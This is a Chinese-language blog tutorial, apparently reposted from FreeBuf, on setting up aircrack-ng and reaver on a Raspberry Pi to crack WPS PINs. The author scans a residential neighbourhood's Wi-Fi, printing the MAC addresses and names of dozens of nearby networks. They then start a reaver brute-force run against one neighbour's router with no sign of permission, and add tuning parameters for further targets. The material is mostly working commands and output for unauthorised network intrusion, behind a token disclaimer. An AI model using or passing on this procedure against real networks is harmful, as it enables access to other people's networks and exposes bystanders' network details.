Raspberry Pi下跑aircrack和reaver破解路由器PIN码

  • A+
所属分类:神兵利刃

小编:感谢minyoni的分享,freebuf希望这种从安装到安全测试全过程的paper越来越多,让国内安全paper与国外一样细致和专业。

声明:本文仅供安全学习用途

最近心血来潮,想把小区里的无线信号测试个遍。基于目前大多数路由器都支持wps,想必各位基友们都知道aircrack和reaver这两个工具,实属破解pin码,杀人越货,居家旅行之必备良药。像以前跑reaver这样的暴力工具一般都要24小时开着主机,实在浪费功耗,灰常的不绿色!不环保!
话说Raspberry Pi,作为一个攻击环境也是灰常给力的。国外的发烧友们已经针对这个板子,改造了专门用于网络攻击和测试的系统(基于debian)

不过今天这篇文章说的是如何在Raspberry Pi的官方发行版上安装 aircrack和reaver ,我用的是苹果充电器+Mini usb 数据线给Raspberry Pi供电,带一个alfa的无线网卡足够了。功耗如此之低,实在是在线跑pin码。长期无线抓包的绝佳方案呢。

PS:懂得可以路过了……

废话不多说,安装过程如下

1.准备系统环境

apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark subversion

2.安装aircrack

svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
cd aircrack-ng/
make
make install 
cd ../

3.安装reaver

wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar zxvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
make install
cd ../

4.使用 aircrack,寻找附近开启wps的路由器,邪恶……嘻嘻

airmon-ng start wlan0
airodump-ng mon0

CH 11 ][ Elapsed: 36 s ][ 2012-12-18 04:46                                         
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                                                                                     
 00:0E:2E:FD:C4:BB   -1        0        0    0  -1  -1                    <length:  0>                                                                                                              
 4C:E6:76:60:3F:20  -13      123        0    0  11  54e  WPA2 CCMP   PSK  cuier-1                                                                                                                   
 B0:48:7A:52:F4:72  -23       42        0    0   1  54e. WPA2 CCMP   PSK  FAST_52F472                                                                                                               
 8C:21:0A:5F:A2:FA  -35       28        0    0   1  54e. WPA2 CCMP   PSK  TP-LINK_5FA2FA                                                                                                            
 E0:05:C5:D3:3F:00  -42       33        0    0   2  54e. WPA2 CCMP   PSK  TP-LINK_D33F00                                                                                                            
 EC:17:2F:7D:12:1E  -49       56        1    0   6  54e. WPA2 CCMP   PSK  wg7788                                                                                                                    
 B0:48:7A:5D:22:EA  -51       36        0    0   6  54e. WPA2 CCMP   PSK  TP-LINK_1202                                                                                                              
 C4:CA:D9:6D:6F:B0  -52       30       10    0  11  54e. OPN              ChinaNet                                                                                                                  
 8C:21:0A:8F:2F:1A  -54       18        0    0   1  54e. WPA2 CCMP   PSK  hechengyv                                                                                                                 
 E0:05:C5:C5:70:E8  -55       15        0    0   4  54e. WPA2 CCMP   PSK  wtangqiu                                                                                                                  
 C8:3A:35:55:D1:D8  -55       20        2    0   7  54e. WPA  CCMP   PSK  Tenda_55D1D8                                                                                                              
 8C:21:0A:84:89:8C  -56       24        0    0   1  54e. WPA2 CCMP   PSK  BATE                                                                                                                      
 C4:CA:D9:6D:5F:60  -55       15        2    0   6  54e. OPN              ChinaNet                                                                                                                  
 EC:17:2F:54:01:2E  -56       13        0    0   1  54e. WPA2 CCMP   PSK  diguadawang                                                                                                               
 5C:63:BF:74:56:52  -53       18        2    0   1  54e. WPA2 CCMP   PSK  cocohe                                                                                                                    
 08:10:76:40:C2:92  -58       21        0    0   1  54e  WPA2 CCMP   PSK  flytv                                                                                                                     
 E0:05:C5:C0:60:42  -56       21        0    0   9  54e. WPA2 CCMP   PSK  HZLYL                                                                                                                     
 38:83:45:C1:BE:F8  -59       14        1    0   6  54e. WPA2 CCMP   PSK  TICO081122                                                                                                                
 C4:CA:D9:74:B3:80  -57       13        1    0  11  54e. OPN              ChinaNet                                                                                                                  
 EC:88:8F:AB:F6:5E  -59        5        0    0   4  54e. WPA2 CCMP   PSK  TP-LINK_ABF65E                                                                                                            
 6C:E8:73:B0:67:78  -59        8        0    0   6  54e. WPA2 CCMP   PSK  WJJ~LOVE~WW                                                                                                               
 C8:3A:35:19:D6:78  -61        9        0    0   1  54e  WPA  CCMP   PSK  Tenda_19D678                                                                                                              
 E0:05:C5:19:9C:04  -61       18        0    0   7  54 . WPA2 CCMP   PSK  1-14-1-602                                                                                                                
 C8:64:C7:5A:46:16  -60        3        0    0  11  54e  WPA  CCMP   PSK  STB_CDCF                                                                                                                  
 6C:E8:73:45:A7:E6  -60        6        0    0   4  54e. WPA2 CCMP   PSK  TP-LINK_45A7E6                                                                                                            
 1C:BD:B9:F5:E5:D7  -61       16        0    0   1  54   WPA2 CCMP   PSK  D-Link_DIR-600M                                                                                                           
 C4:CA:D9:6D:6E:B0  -61       12        0    0   1  54e. OPN              ChinaNet                                                                                                                  
 C8:64:C7:5A:46:15  -61       17        0    0  11  54e  WPA  CCMP   PSK  VIDEOPHONE_CDCF                                                                                                           
 C8:64:C7:5A:46:17  -61       12        0    0  11  54e  WPA  CCMP   PSK  BACKUP                                                                                                                    
 EC:88:8F:99:75:F2  -61        5        0    0   4  54e. WPA2 CCMP   PSK  6786                                                                                                                      
 8C:21:0A:1E:60:26  -61        3        0    0   1  54e. WPA2 CCMP   PSK  yue                                                                                                                       
 00:23:CD:5B:A7:9E  -61        2        0    0   6  54 . WEP  WEP         1203 wireless                                                                                                             
 14:E6:E4:44:9B:8E  -62        6        0    0   4  54e. WPA2 CCMP   PSK  bujiankai                                                                                                                 
 00:1D:0F:81:72:06  -62        4        0    0   6  54 . WEP  WEP         Line                                                                                                                      
 FC:C8:97:94:B6:C8  -62        7        0    0  11  54e  WPA  CCMP   PSK  CU_6cmn                                                                                                                    
 B0:48:7A:2A:1B:E6  -62        7        0    0   6  54e. WPA  CCMP   PSK  302                                                                                                                        
 EC:88:8F:8F:CD:BB  -62       11        0    0  11  54e. WPA2 CCMP   PSK  haloso2                                                                                                                    
 EC:17:2F:AC:44:A2  -62        7        0    0   1  54e. WPA2 CCMP   PSK  1-401                                                                                                                      
 C8:64:C7:5A:46:14  -63       24        0    0  11  54e  WPA  CCMP   PSK  CU_CDCF                                                                                                                    
 38:83:45:B5:E3:96  -63        6        0    0   1  54e. WPA2 CCMP   PSK  TP-LINK_B5E396                                                                                                             
 C8:3A:35:2B:35:68  -63       11        0    0  11  54e  WPA2 CCMP   PSK  Tenda_2B3568                                                                                                               
 00:27:19:6D:4A:5A  -63        1        0    0  11  54e. WPA2 CCMP   PSK  JUJIA-FOGUANG                                                                                                              
 FC:C8:97:94:B6:CB  -65        9        0    0  11  54e  WPA  CCMP   PSK  BACKUP                                                                                                                     
 FC:C8:97:94:B6:C9  -63       15        0    0  11  54e  WPA  CCMP   PSK  VIDEOPHONE_6cmn                                                                                                            
 C8:3A:35:06:63:B0  -64        3        0    0   1  54e  WPA2 CCMP   PSK  Tenda_0663B0                                                                                                               
 8C:21:0A:B0:22:92  -64        3        0    0   1  54e. WPA2 CCMP   PSK  810                                                                                                                        
 14:E6:E4:4F:DE:FE  -64        3        0    0   1  54e. WPA2 CCMP   PSK  YM+ZM                                                                                                                      
 FC:C8:97:94:B6:CA  -65       13        0    0  11  54e  WPA  CCMP   PSK  STB_6cmn                                                                                                                   
 C8:3A:35:52:70:60  -65        2        0    0  11  54e. WPA  CCMP   PSK  Tenda_527060                                                                                                               
 00:26:5A:B3:08:7E  -65        8        0    0  13  54e  WPA2 CCMP   PSK  503                                                                                                                        
 F4:EC:38:56:6B:DE  -62        2        0    0   9  54e. WPA2 CCMP   PSK  WTO                                                                                                                       
 14:D6:4D:A0:19:60  -62        3        0    0  11  54e  WPA2 TKIP   PSK  wang~XB                                                                                                                   
 C4:CA:D9:6D:6F:40  -62        1        0    0   1  54e. OPN              ChinaNet 

ctrl+c^  结束

话说小区里的无线信号还真是多呢……主要是alfa 的卡给力……呵呵

5.使用reaver 破解开启wps功能的路由器密码

比如这条,信号还不错

8C:21:0A:5F:A2:FA -35 28 0 0 1 54e. WPA2 CCMP PSK TP-LINK_5FA2FA
root@home:~/soft/reaver-1.4#  reaver  -i  mon0  -b 8C:21:0A:5F:A2:FA  -a  -S  -vv  -d2  -t 5 -c 1
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
[+] Switching mon0 to channel 1
[+] Waiting for beacon from 8C:21:0A:5F:A2:FA
[+] Associated with 8C:21:0A:5F:A2:FA (ESSID: TP-LINK_5FA2FA)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00005678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 01235678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 11115670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
^C

这样就开始破解了哦,耐心等待结果就好了……不要太邪恶哦。做做测试还是可以的,要做个好童鞋……

##########################################################################

附上reaver调整参数的一些小技巧
reaver:

-i 监听后接口名称
-b 目标mac地址
-a 自动检测目标AP最佳配置
-S 使用最小的DH key(可以提高PJ速度)
-vv 显示更多的非严重警告
-d 即delay每穷举一次的闲置时间 预设为1秒
-t 即timeout每次穷举等待反馈的最长时间
-c指定频道可以方便找到信号,如-c1 指定1频道,大家查看自己的目标频道做相应修改 (非TP-LINK路由推荐–d9 –t9参数防止路由僵死
示例:
reaver -i mon0 -b MAC -a -S –d9 –t9 -vv)
应因状况调整参数(-c后面都已目标频道为1作为例子)
目标信号非常好: reaver -i mon0 -b MAC -a -S -vv -d0 -c 1
目标信号普通: reaver -i mon0 -b MAC -a -S -vv -d2 -t 5 -c 1
目标信号一般: reaver -i mon0 -b MAC -a -S -vv -d5 -c 1

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

目前评论:0   其中:访客  0   博主  0

    • 敢于舍弃 6

      跟我之前看的差不多